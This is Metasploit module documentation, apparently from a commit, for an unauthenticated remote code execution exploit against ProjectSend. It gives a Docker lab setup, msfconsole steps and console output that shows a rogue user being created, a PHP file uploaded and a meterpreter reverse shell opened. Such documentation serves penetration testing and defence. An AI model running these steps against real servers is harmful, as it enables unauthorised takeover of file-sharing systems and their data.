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ostrichgolf authored and jheysel-r7 committed Nov 21, 2024
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114 changes: 114 additions & 0 deletions documentation/modules/exploit/linux/http/projectsend_unauth_rce.md
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## Vulnerable Application
ProjectSend is a web application used for sharing files with clients.

Due to POST parameters being executed before checking user permissions,
it is possible to perform a series of actions that can result in unauthenticated Remote Code Execution (RCE)
on vulnerable versions of ProjectSend.

This module has been tested against ProjectSend versions r1295 through r1605 on Linux.

The easiest way to obtain a vulnerable version of ProjectSend is by deploying it using Docker, as pre-made images exist for the software.
The following Docker Compose file can be used to set up a vulnerable environment.

```
---
services:
projectsend:
image: lscr.io/linuxserver/projectsend:version-r1605
container_name: projectsend
environment:
- PUID=1000
- PGID=1000
- TZ=Etc/UTC
- MAX_UPLOAD=5000
volumes:
- ./projectsend/config:/config
- ./projectsend/data:/data
ports:
- 80:80
restart: unless-stopped
db:
image: mariadb
restart: unless-stopped
container_name: db
volumes:
- ./mariadb_data:/var/lib/mysql
environment:
MYSQL_ROOT_PASSWORD: password
MYSQL_DATABASE: projectsend
MYSQL_USER: projectsend
MYSQL_PASSWORD: projectsend
```
After launching the containers, ProjectSend requires an initial configuration,
which can be completed by accessing it via port 80 on localhost.

## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/projectsend_unauth_rce`
4. Set remote hosts: `set RHOSTS <ip>`
5. Set remote port: `set RPORT <port>`
6. Set the path to ProjectSend: `set TARGETURI <URI>`
7. Set local host: `set LHOST <local ip>`
8. Do: `run`
9. You should get a shell

```
msf6 exploit(linux/http/projectsend_unauth_rce) > options
Module options (exploit/linux/http/projectsend_unauth_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The TARGETURI for ProjectSend
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.20 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 PHP Command
```

## Options
N/A - Only default options.

## Scenarios
```
msf6 exploit(linux/http/projectsend_unauth_rce) > run
[*] Started reverse TCP handler on 192.168.1.20:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[+] Client registration successfully enabled
[+] User alvin.padberg created with password lrASo3iM
[*] Disabling upload restrictions...
[*] Logging in as alvin.padberg...
[+] Logged in as alvin.padberg
[+] Successfully uploaded PHP file: sX1A4FCH.php
[*] Sending stage (39927 bytes) to 192.168.1.20
[*] Meterpreter session 1 opened (192.168.1.20:4444 -> 192.168.1.20:56675) at 2024-09-23 19:01:29 +0200
[*] Logging in as alvin.padberg...
[+] Logged in as alvin.padberg
[+] Client registration successfully disabled
[*] Enabling upload restrictions...
meterpreter > sysinfo
Computer : 1480205e55c2
OS : Linux 1480205e55c2 6.6.26-linuxkit #1 SMP Sat Apr 27 04:13:19 UTC 2024 aarch64
Meterpreter : php/linux
```
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